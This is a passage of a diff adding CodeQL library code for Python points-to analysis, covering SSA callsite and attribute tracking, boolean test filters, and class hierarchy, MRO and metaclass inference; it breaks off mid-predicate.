+ + /** Points-to for a variable (possibly) redefined by a call: + * `var = ...; foo(); use(var)` + * Where var may be redefined in call to `foo` if `var` escapes (is global or non-local). + */ + pragma [noinline] + private predicate callsite_points_to(CallsiteRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(EssaVariable var, PointsToContext callee | + Flow::callsite_exit_value_transfer(var, callee, def, context) and + ssa_variable_points_to(var, callee, value, cls, origin) + ) + or + callsite_points_to_python(def, context, value, cls, origin) + or + callsite_points_to_builtin(def, context, value, cls, origin) + } + + pragma [noinline] + private predicate callsite_points_to_python(CallsiteRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + ssa_variable_points_to(def.getInput(), context, value, cls, origin) and + exists(CallNode call, PythonSsaSourceVariable var | + call = def.getCall() and + var = def.getSourceVariable() and + context.untrackableCall(call) and + exists(PyFunctionObject modifier | + call = get_a_call(modifier, context) and + not modifies_escaping_variable(modifier, var) + ) + ) + } + + private predicate modifies_escaping_variable(FunctionObject modifier, PythonSsaSourceVariable var) { + exists(var.redefinedAtCallSite()) and + modifier.getFunction().getBody().contains(var.(Variable).getAStore()) + } + + pragma [noinline] + private predicate callsite_points_to_builtin(CallsiteRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + ssa_variable_points_to(def.getInput(), context, value, cls, origin) and + exists(CallNode call | + call = def.getCall() | + // An identifiable callee is a builtin + exists(BuiltinCallable opaque | get_a_call(opaque, _) = call) + ) + } + + /** Pass through for `self` for the implicit re-definition of `self` in `self.foo()`. */ + private predicate method_callsite_points_to(MethodCallsiteRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + /* The value of self remains the same, only the attributes may change */ + ssa_variable_points_to(def.getInput(), context, value, cls, origin) + } + + /** Points-to for `from ... import *`. */ + private predicate import_star_points_to(ImportStarRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(ModuleObject mod, string name | + Flow::module_and_name_for_import_star(mod, name, def, context) | + /* Attribute from imported module */ + module_exports(mod, name) and + Layer::module_attribute_points_to(mod, name, value, cls, origin) + ) + or + exists(EssaVariable var | + /* Retain value held before import */ + Flow::variable_not_redefined_by_import_star(var, context, def) and + ssa_variable_points_to(var, context, value, cls, origin) + ) + } + + /** Attribute assignments have no effect as far as value tracking is concerned, except for `__class__`. */ + pragma [noinline] + private predicate attribute_assignment_points_to(AttributeAssignment def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + if def.getName() = "__class__" then + ssa_variable_points_to(def.getInput(), context, value, _, _) and points_to(def.getValue(), _, cls, _,_) and + origin = def.getDefiningNode() + else + ssa_variable_points_to(def.getInput(), context, value, cls, origin) + } + + /** Ignore the effects of calls on their arguments. PointsTo is an approximation, but attempting to improve accuracy would be very expensive for very little gain. */ + pragma [noinline] + private predicate argument_points_to(ArgumentRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + ssa_variable_points_to(def.getInput(), context, value, cls, origin) + } + + /** Attribute deletions have no effect as far as value tracking is concerned. */ + pragma [noinline] + private predicate attribute_delete_points_to(EssaAttributeDeletion def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + ssa_variable_points_to(def.getInput(), context, value, cls, origin) + } + + /* Data flow for attributes. These mirror the "normal" points-to predicates. + * For each points-to predicate `xxx_points_to(XXX def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin)` + * There is an equivalent predicate that tracks the values in attributes: + * `xxx_named_attribute_points_to(XXX def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin)` + * */ + + /** INTERNAL -- Public for testing only. + * + * Hold if the attribute `name` of the ssa variable `var` refers to `(value, cls, origin)`. + */ + predicate ssa_variable_named_attribute_points_to(EssaVariable var, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + ssa_definition_named_attribute_points_to(var.getDefinition(), context, name, value, cls, origin) + } + + /** Helper for `ssa_variable_named_attribute_points_to`. */ + private predicate ssa_definition_named_attribute_points_to(EssaDefinition def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + ssa_phi_named_attribute_points_to(def, context, name, value, cls, origin) + or + ssa_node_definition_named_attribute_points_to(def, context, name, value, cls, origin) + or + ssa_node_refinement_named_attribute_points_to(def, context, name, value, cls, origin) + or + Filters::ssa_filter_definition_named_attribute_points_to(def, context, name, value, cls, origin) + } + + /** Holds if the attribute `name` of the ssa phi-function definition `phi` refers to `(value, cls, origin)`. */ + pragma[noinline] + private predicate ssa_phi_named_attribute_points_to(PhiFunction phi, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + ssa_variable_named_attribute_points_to(phi.getAnInput(), context, name, value, cls, origin) + } + + /** Helper for `ssa_definition_named_attribute_points_to`. */ + pragma[noinline] + private predicate ssa_node_definition_named_attribute_points_to(EssaNodeDefinition def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + assignment_named_attribute_points_to(def, context, name, value, cls, origin) + or + delete_named_attribute_points_to(def, context, name, value, cls, origin) + or + self_parameter_named_attribute_points_to(def, context, name, value, cls, origin) + or + scope_entry_named_attribute_points_to(def, context, name, value, cls, origin) + } + + /** Helper for `ssa_definition_named_attribute_points_to`. */ + pragma[noinline] + private predicate ssa_node_refinement_named_attribute_points_to(EssaNodeRefinement def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + attribute_assignment_named_attribute_points_to(def, context, name, value, cls, origin) + or + attribute_delete_named_attribute_points_to(def, context, name, value, cls, origin) + or + import_star_named_attribute_points_to(def, context, name, value, cls, origin) + or + self_callsite_named_attribute_points_to(def, context, name, value, cls, origin) + or + argument_named_attribute_points_to(def, context, name, value, cls, origin) + } + + pragma[noinline] + private predicate scope_entry_named_attribute_points_to(ScopeEntryDefinition def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + exists(EssaVariable var, PointsToContext outer | + Flow::scope_entry_value_transfer(var, outer, def, context) and + ssa_variable_named_attribute_points_to(var, outer, name, value, cls, origin) + ) + or + origin = def.getDefiningNode() and + def.getSourceVariable().getName() = "*" and + context.isImport() and + exists(PackageObject package | + package.getInitModule().getModule() = def.getScope() | + explicitly_imported(package.submodule(name)) and + value = undefinedVariable() and + cls = theUnknownType() + ) + } + + pragma[noinline] + private predicate assignment_named_attribute_points_to(AssignmentDefinition def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + named_attribute_points_to(def.getValue(), context, name, value, cls, origin) + } + + pragma[noinline] + private predicate attribute_assignment_named_attribute_points_to(AttributeAssignment def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + points_to(def.getValue(), context, value, cls, origin) and name = def.getName() + or + ssa_variable_named_attribute_points_to(def.getInput(), context, name, value, cls, origin) and not name = def.getName() + } + + /** Holds if `def` defines the attribute `name`. + * + * `def` takes the form `setattr(use, "name")` where `use` is the input to the definition. + */ + private boolean sets_attribute(ArgumentRefinement def, string name) { + exists(ControlFlowNode func, Object obj | + two_args_first_arg_string(def, func, name) and + points_to(func, _, obj, _, _) | + obj = builtin_object("setattr") and result = true + or + obj != builtin_object("setattr") and result = false + ) + } + + private predicate two_args_first_arg_string(ArgumentRefinement def, ControlFlowNode func, string name) { + exists(CallNode call | + call = def.getDefiningNode() and + call.getFunction() = func and + def.getInput().getAUse() = call.getArg(0) and + call.getArg(1).getNode().(StrConst).getText() = name + ) + } + + pragma[noinline] + private predicate argument_named_attribute_points_to(ArgumentRefinement def, PointsToContext context, string name, Object value, ClassObject cls, ObjectOrCfg origin) { + not two_args_first_arg_string(def, _, name) and ssa_variable_named_attribute_points_to(def.getInput(), context, name, value, cls, origin) + or + sets_attribute(def, name) = true and points_to(def.getDefiningNode().(CallNode).getArg(2), context, value, cls, origin) + or + sets_attribute(def, name) = false and ssa_variable_named_attribute_points_to(def.getInput(), context, name, value, cls, origin) + } + + /** Holds if the self variable in the callee (`(var, callee)`) refers to the same object as `def` immediately after the call, (`(def, caller)`). */ + pragma[noinline] + private predicate callee_self_variable(EssaVariable var, PointsToContext callee, SelfCallsiteRefinement def, PointsToContext caller) { + exists(FunctionObject func, LocalVariable self | + callee.fromCall(def.getCall(), func, caller) and + BaseFlow::reaches_exit(var) and + var.getSourceVariable() = self and + self.isSelf() and + self.getScope() = func.getFunction() + ) + } + + pragma[noinline] + private predicate self_callsite_named_attribute_points_to(SelfCallsiteRefinement def, PointsToContext context, string name, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(EssaVariable var, PointsToContext callee | + ssa_variable_named_attribute_points_to(var, callee, name, value, cls, origin) and + callee_self_variable(var, callee, def, context) + ) + } + + /** Gets the (temporally) preceding variable for `self`, e.g. `def` is in method `foo()` and `result` is in `__init__()`. */ + private EssaVariable preceding_self_variable(ParameterDefinition def) { + def.isSelf() and + exists(Function preceding, Function method | + method = def.getScope() and + // Only methods + preceding.isMethod() and preceding.precedes(method) and + BaseFlow::reaches_exit(result) and result.getSourceVariable().(Variable).isSelf() and + result.getScope() = preceding + ) + } + + pragma [noinline] + private predicate self_parameter_named_attribute_points_to(ParameterDefinition def, PointsToContext context, string name, Object value, ClassObject vcls, ControlFlowNode origin) { + context.isRuntime() and executes_in_runtime_context(def.getScope()) and + ssa_variable_named_attribute_points_to(preceding_self_variable(def), context, name, value, vcls, origin) + or + exists(FunctionObject meth, CallNode call, PointsToContext caller_context, ControlFlowNode obj | + meth.getFunction() = def.getScope() and + method_call(meth, caller_context, call) and + call.getFunction().(AttrNode).getObject() = obj and + context.fromCall(call, meth, caller_context) and + named_attribute_points_to(obj, caller_context, name, value, vcls, origin) + ) + } + + private predicate delete_named_attribute_points_to(DeletionDefinition def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + none() + } + + private predicate attribute_delete_named_attribute_points_to(EssaAttributeDeletion def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + none() + } + + /* Helper for import_star_named_attribute_points_to */ + pragma [noinline] + private predicate star_variable_import_star_module(ImportStarRefinement def, ImportStarNode imp, PointsToContext context, ModuleObject mod) { + def.getSourceVariable().getName() = "*" and + exists(ControlFlowNode fmod | + fmod = imp.getModule() and + imp = def.getDefiningNode() and + points_to(fmod, context, mod, _, _) + ) + } + + /* Helper for import_star_named_attribute_points_to */ + pragma [noinline, nomagic] + private predicate ssa_star_variable_input_points_to(ImportStarRefinement def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + exists(EssaVariable var | + ssa_star_import_star_input(def, var) and + ssa_variable_named_attribute_points_to(var, context, name, value, cls, origin) + ) + } + + /* Helper for ssa_star_variable_input_points_to */ + pragma [noinline] + private predicate ssa_star_import_star_input(ImportStarRefinement def, EssaVariable var) { + def.getSourceVariable().getName() = "*" and var = def.getInput() + } + + pragma [noinline] + private predicate import_star_named_attribute_points_to(ImportStarRefinement def, PointsToContext context, string name, Object value, ClassObject cls, ControlFlowNode origin) { + exists(ImportStarNode imp, ModuleObject mod | + star_variable_import_star_module(def, imp, context, mod) | + /* Attribute from imported module */ + module_exports_boolean(mod, name) = true and + exists(ObjectOrCfg obj | + Layer::module_attribute_points_to(mod, name, value, cls, obj) and + not exists(Variable v | v.getId() = name and v.getScope() = imp.getScope()) and + origin = origin_from_object_or_here(obj, imp) + ) + or + /* Retain value held before import */ + module_exports_boolean(mod, name) = false and + ssa_star_variable_input_points_to(def, context, name, value, cls, origin) + ) + } + + } + + private module Filters { + + /** Holds if `expr` is the operand of a unary `not` expression. */ + private ControlFlowNode not_operand(ControlFlowNode expr) { + expr.(UnaryExprNode).getNode().getOp() instanceof Not and + result = expr.(UnaryExprNode).getOperand() + } + + /** Gets the value that `expr` evaluates to (when converted to a boolean) when `use` refers to `(val, cls, origin)` + * and `expr` contains `use` and both are contained within a test. */ + pragma [nomagic] + boolean evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + result = isinstance_test_evaluates_boolean(expr, use, context, val, cls, origin) + or + result = issubclass_test_evaluates_boolean(expr, use, context, val, cls, origin) + or + result = equality_test_evaluates_boolean(expr, use, context, val, cls, origin) + or + result = callable_test_evaluates_boolean(expr, use, context, val, cls, origin) + or + result = hasattr_test_evaluates_boolean(expr, use, context, val, cls, origin) + or + result = evaluates(not_operand(expr), use, context, val, cls, origin).booleanNot() + } + + /** Gets the value that `expr` evaluates to (when converted to a boolean) when `use` refers to `(val, cls, origin)` + * and `expr` contains `use` and both are contained within a test. */ + pragma [nomagic] + boolean evaluates(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + result = evaluates_boolean(expr, use, context, val, cls, origin) + or + result = true and evaluates_int(expr, use, context, val, cls, origin) != 0 + or + result = false and evaluates_int(expr, use, context, val, cls, origin) = 0 + or + result = truth_test_evaluates_boolean(expr, use, context, val, cls, origin) + } + + private boolean maybe() { + result = true or result = false + } + + pragma [nomagic] + private boolean issubclass_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + points_to(use, context, val, cls, origin) and + exists(ControlFlowNode clsNode | + BaseFilters::issubclass(expr, clsNode, use) + | + exists(ClassObject scls | + result = Types::is_improper_subclass_bool(val, scls) + | + points_to(clsNode, context, scls, _, _) + or + element_of_points_to_tuple(clsNode, context, scls) and result = true + ) + or + val = unknownValue() and result = maybe() + or + val = theUnknownType() and result = maybe() + ) + } + + pragma [nomagic] + private boolean isinstance_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + points_to(use, context, val, cls, origin) and + exists(ControlFlowNode clsNode | + BaseFilters::isinstance(expr, clsNode, use) + | + exists(ClassObject scls | + result = Types::is_improper_subclass_bool(cls, scls) + | + points_to(clsNode, context, scls, _, _) + or + element_of_points_to_tuple(clsNode, context, scls) and result = true + ) + or + val = unknownValue() and result = maybe() + ) + } + + pragma [noinline] + private boolean equality_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + exists(ControlFlowNode l, ControlFlowNode r, boolean sense | + contains_interesting_expression_within_test(expr, use) and + BaseFilters::equality_test(expr, l, sense, r) | + exists(int il, int ir | + il = evaluates_int(l, use, context, val, cls, origin) and ir = simple_int_value(r) + | + result = sense and il = ir + or + result = sense.booleanNot() and il != ir + ) + or + use = l and + exists(Object other | + /* Must be discrete values, not just types of things */ + equatable_value(val) and equatable_value(other) and + points_to(use, context, val, cls, origin) and + points_to(r, context, other, _, _) | + other != val and result = sense.booleanNot() + or + other = val and result = sense + ) + ) + } + + pragma [noinline] + private boolean truth_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + contains_interesting_expression_within_test(expr, use) and + points_to(use, context, val, cls, origin) and + ( + expr = use and val.booleanValue() = result + or + expr = use and Types::instances_always_true(cls) and result = true + ) + } + + pragma [noinline] + private boolean callable_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + contains_interesting_expression_within_test(expr, use) and + points_to(use, context, val, cls, origin) and + BaseFilters::is_callable(expr, use) and + ( + result = Types::class_has_attribute_bool(cls, "__call__") + or + cls = theUnknownType() and result = maybe() + ) + } + + pragma [noinline] + private boolean hasattr_test_evaluates_boolean(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + contains_interesting_expression_within_test(expr, use) and + points_to(use, context, val, cls, origin) and + exists(string name | + BaseFilters::hasattr(expr, use, name) | + result = Types::class_has_attribute_bool(cls, name) + ) + } + + /** Holds if meaningful equality tests can be made with `o`. + * True for basic objects like 3 or None, but it is also true for sentinel objects. + */ + predicate equatable_value(Object o) { + comparable_value(o) + or + o.(ControlFlowNode).getScope() instanceof Module and + exists(ClassObject c | + c.isBuiltin() and + points_to(o.(CallNode).getFunction(), _, c, _, _) + ) + } + + /** Holds if meaningful comparisons can be made with `o`. + * True for basic objects like 3 or None. + */ + predicate comparable_value(Object o) { + o.isBuiltin() and not o = unknownValue() and not o = undefinedVariable() + or + exists(o.booleanValue()) + } + + + /** Holds if the test on `use` is a test that we can potentially understand */ + private predicate comprehensible_test(ControlFlowNode test, ControlFlowNode use) { + BaseFilters::issubclass(test, _, use) + or + BaseFilters::isinstance(test, _, use) + or + BaseFilters::equality_test(test, use, _, _) + or + exists(ControlFlowNode l | + BaseFilters::equality_test(test, l, _, _) | + literal_or_len(l) + ) + or + BaseFilters::is_callable(test, use) + or + BaseFilters::hasattr(test, use, _) + or + test = use + or + literal_or_len(test) + or + comprehensible_test(not_operand(test), use) + } + + + /** Gets the simple integer value of `f` for numeric literals. */ + private int simple_int_value(ControlFlowNode f) { + exists(NumericObject num | + points_to(f, _, num, _, _) and + result = num.intValue() + ) + } + + /** Gets the integer value that `expr` evaluates to given that `use` refers to `val` and `use` is a part of `expr`. + * Only applies to numeric literal and `len()` of sequences. */ + pragma [noinline] + private int evaluates_int(ControlFlowNode expr, ControlFlowNode use, PointsToContext context, Object val, ClassObject cls, ControlFlowNode origin) { + contains_interesting_expression_within_test(expr, use) and + points_to(use, context, val, cls, origin) and + ( + exists(CallNode call | + call = expr and + points_to(call.getFunction(), context, theLenFunction(), _, _) and + use = call.getArg(0) and + val.(SequenceObject).getLength() = result + ) + or + expr = use and result = val.(NumericObject).intValue() + ) + } + + private predicate literal_or_len(ControlFlowNode expr) { + expr.getNode() instanceof Num + or + expr.(CallNode).getFunction().(NameNode).getId() = "len" + } + + /** Holds if ESSA edge refinement, `def`, refers to `(value, cls, origin)`. */ + predicate ssa_filter_definition_points_to(PyEdgeRefinement def, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(ControlFlowNode test, ControlFlowNode use | + refinement_test(test, use, test_evaluates_boolean(test, use, context, value, cls, origin), def) + ) + or + /* If we can't understand the test, assume that value passes through. + * Or, if the value is `unknownValue()` then let it pass through as well. */ + exists(ControlFlowNode test, ControlFlowNode use | + refinement_test(test, use, _, def) and + ssa_variable_points_to(def.getInput(), context, value, cls, origin) | + not comprehensible_test(test, use) or + value = unknownValue() + ) + } + + /** Holds if ESSA definition, `uniphi`, refers to `(value, cls, origin)`. */ + pragma [noinline] + predicate uni_edged_phi_points_to(SingleSuccessorGuard uniphi, PointsToContext context, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(ControlFlowNode test, ControlFlowNode use | + /* Because calls such as `len` may create a new variable, we need to go via the source variable + * That is perfectly safe as we are only dealing with calls that do not mutate their arguments. + */ + use = uniphi.getInput().getSourceVariable().(Variable).getAUse() and + test = uniphi.getDefiningNode() and + uniphi.getSense() = test_evaluates_boolean(test, use, context, value, cls, origin) + ) + } + + /** Holds if the named attibute of ESSA edge refinement, `def`, refers to `(value, cls, origin)`. */ + pragma[noinline] + predicate ssa_filter_definition_named_attribute_points_to(PyEdgeRefinement def, PointsToContext context, string name, Object value, ClassObject cls, ObjectOrCfg origin) { + exists(ControlFlowNode test, AttrNode use, boolean sense | + edge_refinement_attr_use_sense(def, test, use, name, sense) and + sense = test_evaluates_boolean(test, use, context, value, cls, origin) + ) + or + exists(EssaVariable input | + input = def.getInput() and + not edge_refinement_test(def, input, name) and + SSA::ssa_variable_named_attribute_points_to(input, context, name, value, cls, origin) + ) + } + + /* Helper for ssa_filter_definition_named_attribute_points_to + * Holds if `use` is of the form `var.name` in the test of `def`, and `var` is the source variable of `def`, and `def` has sense `sense`. + */ + pragma[noinline] + private predicate edge_refinement_attr_use_sense(PyEdgeRefinement def, ControlFlowNode test, AttrNode use, string name, boolean sense) { + def.getSense() = sense and + exists(EssaVariable input | + input = def.getInput() and + test = def.getTest() and + use.getObject(name) = def.getInput().getSourceVariable().(Variable).getAUse() and + test_contains(test, use) + ) + } + + /* Helper for ssa_filter_definition_named_attribute_points_to */ + pragma[noinline] + private predicate edge_refinement_test(PyEdgeRefinement def, EssaVariable input, string name) { + exists(ControlFlowNode test | + input = def.getInput() and + test = def.getTest() | + exists(AttrNode use | + refinement_test(test, use.getObject(name), _, def) + ) + ) + } + + } + + cached module Types { + + /** INTERNAL -- Use `ClassObject.getBaseType(n)` instead. + * + * Gets the nth base class of the class. */ + cached Object class_base_type(ClassObject cls, int n) { + not result = unknownValue() and + exists(ClassExpr cls_expr | cls.getOrigin() = cls_expr | + points_to(cls_expr.getBase(n).getAFlowNode(), _, result, _, _) + or + is_new_style(cls) and not exists(cls_expr.getBase(0)) and result = theObjectType() and n = 0 + ) + or + result = builtin_base_type(cls) and n = 0 + or + cls = theUnknownType() and result = theObjectType() and n = 0 + } + + private Object py_base_type(ClassObject cls, int n) { + not result = unknownValue() and + exists(ClassExpr cls_expr | cls.getOrigin() = cls_expr | + points_to(cls_expr.getBase(n).getAFlowNode(), _, result, _, _) + ) + } + + cached int class_base_count(ClassObject cls) { + exists(ClassExpr cls_expr | + cls.getOrigin() = cls_expr | + result = strictcount(cls_expr.getABase()) + or + is_new_style_bool(cls) = true and not exists(cls_expr.getBase(0)) and result = 1 + or + is_new_style_bool(cls) = false and not exists(cls_expr.getBase(0)) and result = 0 + ) + or + cls = theObjectType() and result = 0 + or + exists(builtin_base_type(cls)) and not cls = theObjectType() and result = 1 + or + cls = theUnknownType() and result = 1 + } + + /** INTERNAL -- Do not not use. + * + * Holds if a call to this class will return an instance of this class. + */ + cached predicate callToClassWillReturnInstance(ClassObject cls) { + callToClassWillReturnInstance(cls, 0) and + not callToPythonClassMayNotReturnInstance(cls.getPyClass()) + } + + private predicate callToClassWillReturnInstance(ClassObject cls, int n) { + n = class_base_count(cls) + or + callToClassWillReturnInstance(cls, n+1) and + exists(ClassObject base | + base = class_base_type(cls, n) | + /* Most builtin types "declare" `__new__`, such as `int`, yet are well behaved. */ + base.isBuiltin() + or + exists(Class c | + c = cls.getPyClass() and + not callToPythonClassMayNotReturnInstance(c) + ) + ) + } + + private predicate callToPythonClassMayNotReturnInstance(Class cls) { + /* Django does this, so we need to account for it */ + exists(Function init, LocalVariable self | + /* `self.__class__ = ...` in the `__init__` method */ + cls.getInitMethod() = init and + self.isSelf() and self.getScope() = init and + exists(AttrNode a | a.isStore() and a.getObject("__class__") = self.getAUse()) + ) + or + exists(Function new | new.getName() = "__new__" and new.getScope() = cls) + } + + cached boolean is_new_style_bool(ClassObject cls) { + major_version() = 3 and result = true + or + cls.isBuiltin() and result = true + or + get_an_improper_super_type(class_get_meta_class(cls)) = theTypeType() and result = true + or + class_get_meta_class(cls) = theClassType() and result = false + } + + /** INTERNAL -- Use `ClassObject.isNewStyle()` instead. */ + cached predicate is_new_style(ClassObject cls) { + is_new_style_bool(cls) = true + or + is_new_style(get_a_super_type(cls)) + } + + /** INTERNAL -- Use `ClassObject.getASuperType()` instead. */ + cached ClassObject get_a_super_type(ClassObject cls) { + result = class_base_type(cls, _) + or + result = class_base_type(get_a_super_type(cls), _) + } + + /** INTERNAL -- Use `ClassObject.getAnImproperSuperType()` instead. */ + cached ClassObject get_an_improper_super_type(ClassObject cls) { + result = cls + or + result = get_a_super_type(cls) + } + + cached boolean is_subclass_bool(ClassObject cls, ClassObject sup) { + if abcSubclass(cls, sup) then ( + /* Hard-code some abc subclass pairs -- In future we may change this to use stubs. */ + result = true + ) else ( + sup = class_base_type(cls, _) and result = true + or + is_subclass_bool(class_base_type(cls, _), sup) = true and result = true + or + result = is_subclass_bool(cls, sup, 0) + ) + } + + private predicate abcSubclass(ClassObject cls, ClassObject sup) { + cls = theListType() and sup = collectionsAbcClass("Iterable") + or + cls = theSetType() and sup = collectionsAbcClass("Iterable") + or + cls = theDictType() and sup = collectionsAbcClass("Iterable") + or + cls = theSetType() and sup = collectionsAbcClass("Set") + or + cls = theListType() and sup = collectionsAbcClass("Sequence") + or + cls = theDictType() and sup = collectionsAbcClass("Mapping") + } + + cached boolean is_improper_subclass_bool(ClassObject cls, ClassObject sup) { + result = is_subclass_bool(cls, sup) + or + result = true and cls = sup + } + + private boolean is_subclass_bool(ClassObject cls, ClassObject sup, int n) { + relevant_subclass_relation(cls, sup) and + ( + n = class_base_count(cls) and result = false and not cls = sup + or + exists(ClassObject basetype | + basetype = class_base_type(cls, n) | + not basetype = sup and + result = is_subclass_bool(cls, sup, n+1).booleanOr(is_subclass_bool(basetype, sup)) + or + basetype = sup and result = true + ) + ) + } + + private predicate relevant_subclass_relation(ClassObject cls, ClassObject sup) { + exists(ControlFlowNode supnode | + points_to(supnode, _, sup, _, _) + or + element_of_points_to_tuple(supnode, _, sup) + | + subclass_test(supnode, cls) + ) + or + exists(ClassObject sub | + relevant_subclass_relation(sub, sup) and + class_base_type(sub, _) = cls + ) + } + + /** Holds if there is a subclass test of `f` against class `cls`. + * Helper for relevant_subclass_relation. + */ + private predicate subclass_test(ControlFlowNode f, ClassObject cls) { + exists(ControlFlowNode use | + BaseFilters::issubclass(_, f, use) and points_to(use, _, cls, _, _) + or + BaseFilters::isinstance(_, f, use) and points_to(use, _, _, cls, _) + ) + } + + cached ClassList get_mro(ClassObject cls) { + result = new_style_mro(cls) and is_new_style_bool(cls) = true + or + result = old_style_mro(cls) and is_new_style_bool(cls) = false + } + + /** INTERNAL -- Use `ClassObject.declaredAttribute(name). instead. */ + cached predicate class_declared_attribute(ClassObject owner, string name, Object value, ClassObject vcls, ObjectOrCfg origin) { + /* Note that src_var must be a local variable, we aren't interested in the value that any global variable may hold */ + not value = undefinedVariable() and + exists(EssaVariable var, LocalVariable src_var | + var.getSourceVariable() = src_var and + src_var.getId() = name and + var.getAUse() = owner.getImportTimeScope().getANormalExit() | + ssa_variable_points_to(var, _, value, vcls, origin) + ) + or + value = builtin_class_attribute(owner, name) and class_declares_attribute(owner, name) and + origin = value and vcls = builtin_object_type(value) + } + + private predicate interesting_class_attribute(ClassList mro, string name) { + exists(ControlFlowNode use, ClassObject cls | + mro = cls.getMro() and + BaseFilters::hasattr(_, use, name) | + points_to(use, _, cls, _, _) or + points_to(use, _, _, cls, _) + ) + or + exists(ClassList sublist | + sublist.getTail() = mro and + interesting_class_attribute(sublist, name) + ) + or + name = "__call__" + } + + private predicate does_not_have_attribute(ClassList mro, string name) { + interesting_class_attribute(mro, name) and + ( + mro.isEmpty() + or + exists(ClassObject head, ClassList tail | + head = mro.getHead() and tail = mro.getTail() | + does_not_have_attribute(tail, name) and + not class_declares_attribute(head, name) + ) + ) + } + + /** Holds if the class `cls` has an attribute called `name` */ + cached predicate class_has_attribute(ClassObject cls, string name) { + class_declares_attribute(get_an_improper_super_type(cls), name) + } + + /** Gets `true` if the class `cls` is known to have attribute `name`, + * or `false` if the class `cls` is known to not have attribute `name`. + */ + cached boolean class_has_attribute_bool(ClassObject cls, string name) { + exists(ClassList mro | + mro = cls.getMro() | + mro.declares(name) and result = true + or + does_not_have_attribute(mro, name) and result = false + ) + } + + /** INTERNAL -- Use `ClassObject.attributeRefersTo(name, value, vlcs, origin). instead. + */ + cached predicate class_attribute_lookup(ClassObject cls, string name, Object value, ClassObject vcls, ObjectOrCfg origin) { + exists(ClassObject defn | + defn = get_mro(cls).findDeclaringClass(name) and + class_declared_attribute(defn, name, value, vcls, origin) + ) + } + + /** INTERNAL -- Use `ClassObject.failedInference(reason). instead. + * + * Holds if type inference failed to compute the full class hierarchy for this class for the reason given. */ + cached predicate failed_inference(ClassObject cls, string reason) { + strictcount(cls.getPyClass().getADecorator()) > 1 and reason = "Multiple decorators" + or + exists(cls.getPyClass().getADecorator()) and not six_add_metaclass(_, cls, _) and reason = "Decorator not understood" + or + exists(int i | + exists(((ClassExpr)cls.getOrigin()).getBase(i)) and reason = "Missing base " + i + | + not exists(class_base_type(cls, i)) + ) + or + exists(cls.getPyClass().getMetaClass()) and not exists(class_get_meta_class(cls)) and reason = "Failed to infer metaclass" + or + exists(int i | failed_inference(class_base_type(cls, i), _) and reason = "Failed inference for base class at position " + i) + or + exists(int i | strictcount(class_base_type(cls, i)) > 1 and reason = "Multiple bases at position " + i) + or + exists(int i, int j | class_base_type(cls, i) = class_base_type(cls, j) and i != j and reason = "Duplicate bases classes") + or + cls = theUnknownType() and reason = "Unknown Type" + } + + /** INTERNAL -- Use `ClassObject.getMetaClass()` instead. + * + * Gets the metaclass for this class */ + cached ClassObject class_get_meta_class(ClassObject cls) { + result = declared_meta_class(cls) + or + has_declared_metaclass(cls) = false and result = get_inherited_metaclass(cls) + or + cls = theUnknownType() and result = theUnknownType() + } + + private ClassObject declared_meta_class(ClassObject cls) { + exists(Object obj | + ssa_variable_points_to(metaclass_var(cls), _, obj, _, _) | + result = obj + or + obj = unknownValue() and result = theUnknownType() + ) + or + py_cobjecttypes(cls, result) and is_c_metaclass(result) + or + exists(ControlFlowNode meta | + Types::six_add_metaclass(_, cls, meta) and + points_to(meta, _, result, _, _) + ) + } + + private boolean has_metaclass_var_metaclass(ClassObject cls) { + exists(Object obj | + ssa_variable_points_to(metaclass_var(cls), _, obj, _, _) | + obj = undefinedVariable() and result = false + or + obj != undefinedVariable() and result = true + ) + or + not exists(metaclass_var(cls)) and result = false + } + + private boolean has_declared_metaclass(ClassObject cls) { + py_cobjecttypes(cls, _) and result = true + or + not cls.isBuiltin() and + result = has_six_add_metaclass(cls).booleanOr(has_metaclass_var_metaclass(cls)) + } + + private EssaVariable metaclass_var(ClassObject cls) { + result.getASourceUse() = cls.getPyClass().getMetaClass().getAFlowNode() + or + major_version() = 2 and not exists(cls.getPyClass().getMetaClass()) and + result.getName() = "__metaclass__" and + 